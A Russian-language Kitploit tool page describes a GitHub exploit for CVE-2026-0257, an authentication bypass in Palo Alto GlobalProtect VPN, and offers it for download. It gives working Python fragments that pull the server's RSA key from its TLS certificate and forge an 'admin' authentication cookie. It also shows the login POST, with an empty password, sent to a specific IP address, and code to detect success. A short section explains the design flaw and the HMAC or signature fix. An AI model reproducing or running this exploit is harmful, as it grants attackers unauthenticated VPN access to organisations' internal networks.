Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS уязвим к обходу аутентификации, вызванному ошибками в портале и шлюзе GlobalProtect, что позволяет злоумышленникам устанавливать несанкционированные VPN-подключения; эксплуатация требует сетевого доступа к порталу или шлюзу. | Kitploit
Инструменты/GitHubGitHub/tushargurav28/cve-2026-0257
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСетевая безопасностьКриптографияТестирование на ПроникновениеАутентификацияRed Teaming
GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS уязвим к обходу аутентификации, вызванному ошибками в портале и шлюзе GlobalProtect, что позволяет злоумышленникам устанавливать несанкционированные VPN-подключения; эксплуатация требует сетевого доступа к порталу или шлюзу.

Репозиторий
333 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0257: GlobalProtect — обход аутентификации

Обзор

Этот эксплойт обеспечивает неаутентифицированный доступ к VPN к шлюзу/порталу Palo Alto GlobalProtect, подделывая cookie аутентификации с использованием только публично доступного TLS-сертификата сервера.


Основная уязвимость (почему это работает)

GlobalProtect использует предварительную cookie аутентификации (portal-userauthcookie) для аутентификации клиентов. Вот фатальный недостаток:

root@kitploit:~
Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

Поскольку открытый ключ RSA встроен в TLS-сертификат сервера (публично доступный любому, кто подключается), любой злоумышленник может:

  1. Захватить открытый ключ из TLS-сертификата
  2. Подделать cookie с любым именем пользователя
  3. Зашифровать её открытым ключом
  4. Отправить её на сервер → сервер расшифрует её → примет как действительную

Это классический недостаток сломанной аутентификации — использование шифрования там, где требовалась цифровая подпись или HMAC.


Цепочка эксплойта (5 шагов)

root@kitploit:~
flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

Шаг 1: Создание raw TLS ClientHello

Почему именно raw? Нам нужен сертификат сервера в формате DER (сырые двоичные данные). Модуль Python ssl выполняет полное TLS-рукопожатие внутри себя и не отдаёт сырые байты сертификата таким же образом. Выполняя raw TCP-подключение и отправляя созданное вручную ClientHello, мы можем перехватить ответ сервера на уровне байтов.

Формат передачи

TLS-запись выглядит так:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Код: build_hello()

Тело ClientHello содержит:

ПолеЗначениеНазначение
Version0x03 0x03 (TLS 1.2)Сообщаем серверу, что мы используем TLS 1.2
Random4-байтовая метка времени + 28 случайных байтNonce для рукопожатия
Session ID0x00 (пусто)Без возобновления сессии
Cipher Suites9 наборов, включая TLS_RSA_WITH_AES_128_CBC_SHAКлючевой момент: мы включаем RSA-шифры, чтобы заставить сервер использовать свой RSA-сертификат
Compression0x00 (нет)Обязательно

Включенные расширения:

РасширениеIDНазначение
SNI (Server Name Indication)0x0000Сообщаем серверу, к какому имени хоста мы подключаемся
Signature Algorithms0x000DОбъявляем, какие алгоритмы подписи мы поддерживаем
Supported Groups0x000AЭллиптические кривые, которые мы поддерживаем (P-256, P-384, P-521)
EC Point Formats0x000BНесжатые точки эллиптических кривых

[!NOTE] Наборы шифров намеренно включают шифры RSA-обмена ключами (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Это подталкивает сервер отвечать RSA-сертификатом, а не ECDSA, — что критически важно, поскольку эксплойт работает только с RSA.


Шаг 2: Получение и разбор ответа сервера

После отправки ClientHello сервер отправляет обратно несколько TLS-записей:

root@kitploit:~
Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

Код: parse_certs()

Фаза 1 — удаление заголовков TLS-записей:

Каждая TLS-запись имеет 5-байтовый заголовок: [type(1)] [version(2)] [length(2)]. Код сканирует все записи, и для любой с type == 22 (Handshake) объединяет их полезные данные:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

Фаза 2 — поиск сообщения Certificate (type 11):

Внутри потока handshake каждое сообщение имеет 4-байтовый заголовок: [type(1)] [length(3)]. Мы ищем type == 11:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

Фаза 3 — извлечение отдельных DER-сертификатов:

Сообщение Certificate содержит список сертификатов, каждый из которых предваряется 3-байтовым полем длины:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

В нашем тестовом запуске мы получили 3 сертификата (конечный сертификат, промежуточный CA, корневой CA).

Код: has_done()

Эта функция ищет ServerHelloDone (тип handshake 14), который сообщает нам, что сервер закончил отправку, и мы можем прекратить чтение.


Шаг 3: Разбор X.509-сертификата (ASN.1/DER)

X.509-сертификаты закодированы в DER (Distinguished Encoding Rules), который представляет собой двоичный формат на основе ASN.1 (Abstract Syntax Notation One).

Формат ASN.1 TLV (Tag-Length-Value)

Каждый элемент в DER выглядит так:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

Кодирование длины:

  • Если байт < 0x80: длина равна самому байту (короткая форма)
  • Если байт ≥ 0x80: младшие 7 бит = количество последующих байт, которые кодируют длину (длинная форма)
root@kitploit:~
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

Код: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

Структура X.509-сертификата

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Код: get_rsa_key()

Функция обходит дерево DER, читая tag+length и пропуская поля, которые нам не нужны:

root@kitploit:~
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p)            # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version field present → skip it
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)

# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Not RSA (probably ECDSA)

# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)

Важная деталь — ведущий нулевой байт в модуле:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # strip leading 0x00
    ml -= 1

DER кодирует целые числа как знаковые. Если старший бит модуля равен 1, спереди добавляется байт 0x00, чтобы сохранить положительное значение. Мы удаляем его, потому что нам нужно сырое беззнаковое значение.

Для нашей цели: модуль = 2048 бит (256 байт), экспонента = 65537 (0x10001)


Шаг 4: Подделка cookie аутентификации (PKCS#1 v1.5)

Это сердце эксплойта.

Что содержит cookie

Формат открытого текста cookie:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client IP
  │        │        └── Unix timestamp
  │        └── OS identifier
  └── Username (we choose "admin")

Заполнение для шифрования PKCS#1 v1.5 (Type 2)

Перед шифрованием RSA открытый текст должен быть дополнен до размера ключа (256 байт для 2048-битного RSA):

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding  │ 0x00 │ Plaintext message   │
│      │      │ (≥ 8 bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      message bytes

Total = 256 bytes (= key size)

Код: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separator
    if pad_len < 8:                # PKCS#1 requires ≥ 8 pad bytes
        return ""

    em = bytearray([0x00, 0x02])   # Type 2 padding header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # non-zero random bytes!
    em.append(0x00)                # separator
    cat(em, pt)                    # append plaintext

    # RSA encryption: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

Математика RSA:

root@kitploit:~
ciphertext = plaintext^e mod n

Where:
  plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
  e = 65537 (public exponent)
  n = the 2048-bit modulus from the certificate

[!IMPORTANT] Это работает, потому что шифрование RSA использует открытый ключ (n, e), который любой может получить из TLS-сертификата. Сервер расшифрует его своим закрытым ключом (n, d) и получит открытый текст — admin;;Windows;;timestamp;0.0.0.0.

Затем сервер слепо доверяет этому открытому тексту — он никогда не проверяет, что cookie была легитимно выдана им самим.


Шаг 5: Отправка поддельной cookie на конечную точку входа

Код: test_cookie()

Поддельная cookie отправляется как стандартный HTTPS POST на конечную точку входа GlobalProtect:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← empty! no password needed
&context=gateway                  ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] Поле passwd пустое. Сервер вообще не проверяет пароль — он полностью полагается на portal-userauthcookie для аутентификации.

Эксплойт проверяет две конечные точки:

  1. Gateway (context=gateway): прямой доступ к VPN-туннелю
  2. Portal (context=portal): доступ к конфигурации портала

Обнаружение успеха

root@kitploit:~
def is_gateway_success(resp, user):
    # Check for HTTP 200
    # Check for <status>Success</status> in XML body
    # OR <argument> tag containing the username

Шаг 6: Что происходит на стороне сервера

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant GP as GlobalProtect Server

    A->>GP: TCP Connect (port 443)
    A->>GP: Raw TLS ClientHello (hand-crafted)
    GP->>A: ServerHello + Certificate (contains RSA public key)
    GP->>A: ServerHelloDone
    Note over A: Extracts RSA public key (n, e) from cert
    Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (over TLS)
    Note over GP: Receives portal-userauthcookie
    Note over GP: Decrypts with RSA private key
    Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Trusts it blindly — no signature check!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Full VPN access as "admin"

Почему это разрушительная ошибка

АспектВоздействие
Не нужны учетные данныеОткрытый ключ буквально публичный — любой подключающийся получает его
Без перебораОдин запрос на попытку, всегда успешен на уязвимых серверах
До аутентификацииЭксплуатируется до любого входа — не требуется существующая сессия
Выдача себя за пользователяЗлоумышленник выбирает любое имя пользователя (admin, CEO и т.д.)
Полный доступ к VPNПосле аутентификации злоумышленник оказывается во внутренней сети
Нет логирования неверных паролейТак как аутентификация идёт через cookie, оповещения о неверном пароле не срабатывают

Исправление (что следует сделать Palo Alto)

Фундаментальная проблема — использование шифрования для аутентификации. Правильные подходы:

  1. Цифровые подписи: сервер должен подписывать cookie своим закрытым ключом, а не расшифровывать зашифрованную. Затем проверять подпись при повторной аутентификации.

  2. HMAC: использовать секретный ключ на стороне сервера для HMAC-хэширования полезных данных cookie. Только сервер знает секрет, поэтому cookie невозможно подделать.

  3. Token Binding (привязка токена): привязать cookie к исходной сессии аутентификации, чтобы её нельзя было воспроизвести из другого контекста.

root@kitploit:~
Broken:   cookie = RSA_encrypt(userdata, public_key)   ← anyone can do this!
Fixed:    cookie = HMAC(server_secret, userdata)        ← only server can do this

Итог: полный поток данных

  1. TCP-подключение к цели:443
  2. Отправить созданное вручную ClientHello (сырые байты по TCP, НЕ TLS)
  3. Получить ServerHello + Certificate + ServerHelloDone
  4. Разобрать TLS-записи → извлечь сообщения handshake
  5. Найти сообщение Certificate (type 11) → извлечь DER-кодированные сертификаты
  6. Пройти по структуре ASN.1/DER конечного сертификата: SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject → subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA) → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
  7. Сформировать открытый текст: "admin;;Windows;;1748928001;0.0.0.0"
  8. Дополнение PKCS#1 v1.5: 0x00 0x02 [random≥8] 0x00 [plaintext]
  9. RSA-шифрование: ciphertext = padded^e mod n
  10. Base64-кодирование → URL-кодирование
  11. POST на /ssl-vpn/login.esp с поддельной cookie (поверх полноценного TLS)
  12. Сервер расшифровывает → слепо доверяет → предоставляет VPN-доступ
Скачать инструмент